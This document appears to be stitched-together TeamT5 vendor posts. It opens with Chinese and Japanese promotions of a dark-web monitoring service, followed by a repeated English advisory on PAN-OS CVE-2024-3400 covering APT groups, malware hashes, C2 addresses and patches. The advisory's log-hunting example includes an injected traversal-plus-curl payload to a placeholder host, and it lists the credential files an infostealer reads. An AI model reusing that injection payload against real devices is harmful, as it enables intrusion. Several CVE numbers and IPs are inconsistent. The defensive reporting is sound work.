暗網，存在於網路的陰暗角落，是網路犯罪者的避風港。這個隱藏於傳統搜索引擎和瀏覽器的網路，是非法活動的中心，包含惡意軟體交易、出售被盜資料。現今企業面臨前所未有的暗網風險，資料洩露可能導致嚴重的財務、營運和法律後果。認識並減少這些威脅至關重要，而 TeamT5 透過 ThreatVision 的深暗網風險監控產品，提供了一個強大的解決方案。

##暗網洩露對企業的影響
####財務損失
資料洩露，可能對財務造成災難性的影響。當敏感資料外洩在暗網上時，往往會導致敲詐、欺詐和其他犯罪，進一步導致高額的財務損失。一個明顯的例子是一家大型信用報告機構，其面臨的資料洩露，使 1.63 億人的個人資訊被泄露，造成超過 17 億美元的損失，包括來自多個地區的罰款，凸顯了此類洩露的嚴重後果和廣泛影響。

####營運中斷
資料洩露可能會嚴重擾亂業務營運。2014 年感恩節前夕，一家媒體巨頭的資料外洩事件迫使 47,000 名員工在家工作，無法訪問 IT 系統。駭客組織「和平守護者」滲透進入了公司系統，洩露敏感資料，導致公司股價在五天內下跌超過 10%。營運中斷極為嚴重，員工被迫回歸紙本流程，導致效率降低和停機時間延長。

####法律後果
在受監管行業中的公司，如果客戶資料被洩露，將面臨嚴厲的懲罰。一家零售巨頭的資料外洩事件導致超過 4,000 萬張信用卡和借記卡記錄被盜，超過 90 起訴訟來自受影響的客戶和銀行。該公司面臨監管機構（包括聯邦貿易委員會）的調查，並支付超過 6,100 萬美元的代價，解決事件並恢復客戶信任。

## 認識深網和暗網
網路不僅僅是通過傳統搜索引擎訪問的表層網。深網由未編入索引的網站組成，這些網站被用戶名和密碼鎖定，包含法律文件和財務記錄等敏感資料。雖然深網的內容與資料大多是無害的，但它包含了企業需要主動保護的重要資料，更是需要優先防範的環境。
然而，真正的危險在於暗網。只能透過特別的瀏覽器，如 Tor 等管道，這些瀏覽器提供高度匿名性，使暗網成為犯罪活動的熱點。這種匿名性吸引了網路犯罪分子進行資料外洩、詐騙、洗錢和出售被盜資料等活動。

##常見的暗網網路犯罪
- **惡意軟體交易**：駭客交易各種類型的惡意軟體來感染系統並竊取資料。
- **憑證銷售**：被洩露的用戶帳號和密碼被出售，導致企業系統被入侵。
- **資料銷售**：個人和企業的敏感資料被出售，損害公司聲譽。
- **信用卡欺詐**：被洩露的信用卡號碼被出售，並用於欺詐活動。

##透過 ThreatVision 對抗暗網風險
####TeamT5 的深暗網風險監控
為了應對這些威脅，TeamT5 ThreatVision 提供了全面的深暗網風險監控模組，包括兩個關鍵產品：「深暗網定期監控告警」和「深暗網監控分析報告」。


######深暗網定期監控告警
「深暗網定期監控告警」提供自動的每週深網和暗網掃描。結果可以透過 ThreatVision 平台或電子郵件獲取，並可導出為 CSV 格式以供進一步分析。這使企業能夠快速識別和應對潛在風險。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

######深暗網監控分析報告
「深暗網監控分析報告」提供更深入的分析，包括威脅風險評估、最新發現和緩解建議。它涵蓋深網和暗網站點、駭客論壇、中文地下社群、社群媒體和亞太地區的流行論壇。這份報告富含 TeamT5 的專家分析師團隊所收集和分析的暗網情資。

####TeamT5 監控的優勢
- **定期監控**：能夠快速識別深網和暗網風險。
- **為企業爭取關鍵應變時間**：提供時間進行公關和營運調整，以將損害降至最低。
- **有效評估外洩受害範圍**：幫助評估外洩造成的影響，並保護公司聲譽。

####精準監控暗網上金融犯罪活動
TeamT5 的監控專注於與金融業和電子商務相關的犯罪活動。重點監控中文頻道和社群，資料來源由專業分析師團隊定期更新。監控來源包括 40 多個深網和暗網站點，400 多個 Telegram 頻道，以及各種中文駭客族群使用的社群媒體平台。


####清晰易讀的外洩偵測告警介面
ThreatVision 平台提供詳細外洩資訊，包括：
- **遭洩露憑證列表**：詳細說明從外洩檔案(如 Combo File)洩漏之帳戶密碼，以及受駭或感染之設備中洩露的登入憑證。
- **風險評估和建議**：專家分析和緩解建議來減少風險。

##結論
在當今的數位化環境中，暗網對全球企業構成了重大威脅。然而，透過 TeamT5 的 ThreatVision 深暗網風險監控，企業可以主動監控並減少這些風險。透過了解暗網、評估威脅並及時採取行動，企業可以保護其營運、財務和聲譽，免受隱藏在網路黑暗角落中的危險侵害。
保持警惕，並透過 ThreatVision 保護您的企業——因為在對抗網路威脅的戰鬥中，知識和主動措施是您最好的盟友。


> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://uploads.teamt5.org/upload/files/TeamT5-DDW-Datasheet-TW.pdf)

照亮暗網：保護您的資料和聲譽

インターネットの影の隅では、ダークウェブ がサイバー犯罪者の巣窟として栄えており、従来の検索エンジンやブラウザから隠されているダークウェブは、マルウェアの取引から盗まれたデータの販売に至るまで、違法行為の拠点となっています。近年になり、企業はダークウェブによる前例のないリスクに直面しており、データ侵害は財務上、運営上、法的な影響に重大な影響を及ぼす可能性があります。だからこそ、これらの脅威を理解し、軽減することが不可欠です。ThreatVision のディープウェブ、ダークウェブ・リスクモニタリングを通じた TeamT5 の最新製品は、強固なソリューションを提供します。

##ダークウェブによる漏洩が企業に与える影響

####財務的損失

データ侵害による経済的影響は、ダークウェブ上で漏洩した場合、恐喝、詐欺、その他の金融犯罪につながることがよくあります。その顕著な例として、大手信用調査機関が個人データの侵害に直面した事件などが挙げられます。これには、さまざまな地域からの罰金も含まれており、このような侵害による深刻かつ広範囲にわたる影響が浮き彫りになっています。

####業務の中断
データ侵害は企業運営に大きな混乱をもたらす可能性があります。過去には、2014 年の感謝祭にデータが流出し、 47,000 人の従業員がITシステムにアクセスできず、在宅勤務を余儀なくされた大手メディアの事件が存在します。これには、「平和の守護者」と呼ばれるハッカーが同社のシステムに侵入したことが関係してており、機密情報が漏洩したことで、同社の株価は 5 日以内に 10% 以上下落しました。業務上の混乱は深刻で、従業員は紙ベースのプロセスに戻さざる得なくなり、非効率とダウンタイムの長期化につながりました。

####法的影響
規制された業界の企業は、顧客データが漏洩した場合に厳しい罰則を受けることとなります。ある小売大手の情報漏えい事件では、4,000万件以上のクレジットカードとデビットカードの記録が盗まれ、同社は被害を受けた顧客や銀行から90件以上の訴訟を起こされました。また、連邦取引委員会（FTC）を含む、規制機関の調査が入り、事件への対処と顧客の信頼回復のために6,100万ドルを超える費用が発生しました。

##ディープウェブとダークウェブへの理解

インターネットは、従来の検索エンジンでアクセスできる表層的なウェブだけで構成されているわけではありません。ディープウェブは、ユーザー名とパスワードでロックされているインデックスのないサイトで構成されており、中には法的文書や財務記録などの機密情報が含まれています。ディープウェブの大部分は無害ですが、企業が積極的に保護しなければならない重要なデータを保持しています。

ダークウェブ上でよく見られるサイバーセキュリティ犯罪
- **マルウェアの取引**: ハッカーは、システムに感染してデータを盗むために、さまざまな種類のマルウェアを取引します。

- **認証情報の販売**: 侵害されたユーザー名とパスワードが販売されており、企業システムの侵害につながります。

- **データ販売**: 個人および企業の機密データが販売され、評判が損なわれます。

- **クレジット カード詐欺**: 漏洩したクレジット カード番号は営利目的で販売され、詐欺行為に使用されます。


しかし、本当の危険はダークウェブにあります。高い匿名性を提供するTorのような特別なブラウザを通してのみアクセス可能なダークウェブは、犯罪活動のホットスポットです。この匿名性が、サイバー犯罪者にとって、データ漏洩、詐欺、マネーロンダリング、盗難データの販売といった活動に従事する上で魅力となっています。


##ThreatVision でダークウェブのリスクに対抗

####TeamT5 のディープウェブ、ダークウェブのリスク監視

これらの脅威に対処するために、TeamT5 は、ThreatVision を通じて包括的なディープウェブ、ダークウェブ・リスクモニタリングモジュールを提供しており、主に Weekly Alert と Tailored Report という 2 つの製品が含まれています。

#####Weekly Alert
Weekly Alert は、ディープウェブとダークウェブの自動化された週次スキャンを提供します。結果は、ThreatVision プラットフォームまたは電子メール経由で確認でき、CSV 形式でエクスポートして詳細な分析を行うことが可能です。これにより、企業は潜在的なリスクを迅速に特定して対応できます。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)
 

#####Tailored Report
Tailored Report は、脅威のリスク評価、最新の調査結果、緩和策の提案など、より深いレベルの分析を提供します。これには、APAC 地域のディープウェブ、ダークウェブサイト、ハッカーフォーラム、中国語圏のアンダーグラウンド コミュニティ、ソーシャルメディア、および人気のあるフォーラムが含まれます。レポート内容は、TeamT5 の専門アナリストが収集および分析した情報により充実しています。

##TeamT5 モニタリングの利点

- **定期的なモニタリング:** ディープウェブ、ダークウェブのリスクを迅速に特定します。
- **プロアクティブな対応**: 被害を最小化するための広報活動や業務調整を行う時間を提供します。
- **影響評価**: 侵害の影響を評価し、企業の評判を保護します。


 
##金融関連のサイバー犯罪活動の重点的な監視

TeamT5のモニタリング対象は、金融業界と電子商取引に関連する犯罪活動と、中国語を話すチャネルやコミュニティに焦点を当てています。ソースは専任のアナリストチームによって定期的に更新されており、40以上のディープウェブやダークウェブ、400以上のTelegramチャンネル、中国語を話す脅威行為者が使用する各種ソーシャルメディアプラットフォームが含まれます。

##包括的なレポート
ThreatVision プラットフォームは、次のような詳細なレポートを提供します。

- **漏洩データのリスト**:コンボリストおよび漏洩したデバイスから漏洩した認証情報の詳細

- **リスクの評価と提言**: リスクを軽減するための専門家による分析と実行可能な推奨事項の提言

##まとめ

今日のデジタル環境において、ダークウェブは世界中の企業に重大な脅威をもたらしています。しかし、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)を通じたTeamT5のディープ、ダークウェブ・リスクモニタリングを使用することで、企業はこれらのリスクをプロアクティブに監視し、軽減することができます。ダークウェブを理解ならびに脅威を評価し、タイムリーな対策を講じることで、企業はインターネットの暗い隅に潜む隠れた危険から業務、財務、評判を守ることができます。

サイバー脅威との戦いにおいて、知識と事前の対策は最大の味方とななります。

ダークウェブに光を当てる: データと評判の保護

>The following blog post is based on our April H2 Vulnerability Insights Report. 
>
>TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. Contact us for more information about our vulnerability intelligence.

## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

Alerts of Exploiting Palo Alto GlobalProtect: CVE-2024-3400

本文改寫自 2024 年 4 月第二期的漏洞情資報告（VIR 2024 April H2）。 TeamT5 漏洞研究團隊致力於針對重大漏洞提供即時的應對措施與緩解方案。如欲進一步了解 TeamT5 的漏洞情資報告，請[與我們聯繫](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)。

 

>**CVE-2024-3400: Palo Alto GlobalProtect 漏洞**
 
>CVE-2024-3400 為命令注入漏洞，存在於 Palo Alto Networks PAN-OS 軟體且有設置 GlobalProtect portal 之防火牆。該漏洞允許未經身份驗證的威脅行動者，執行任意程式碼，並以 root 權限，將惡意軟體部署到目標裝置。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)
hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```



### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 

3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/


>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect 漏洞

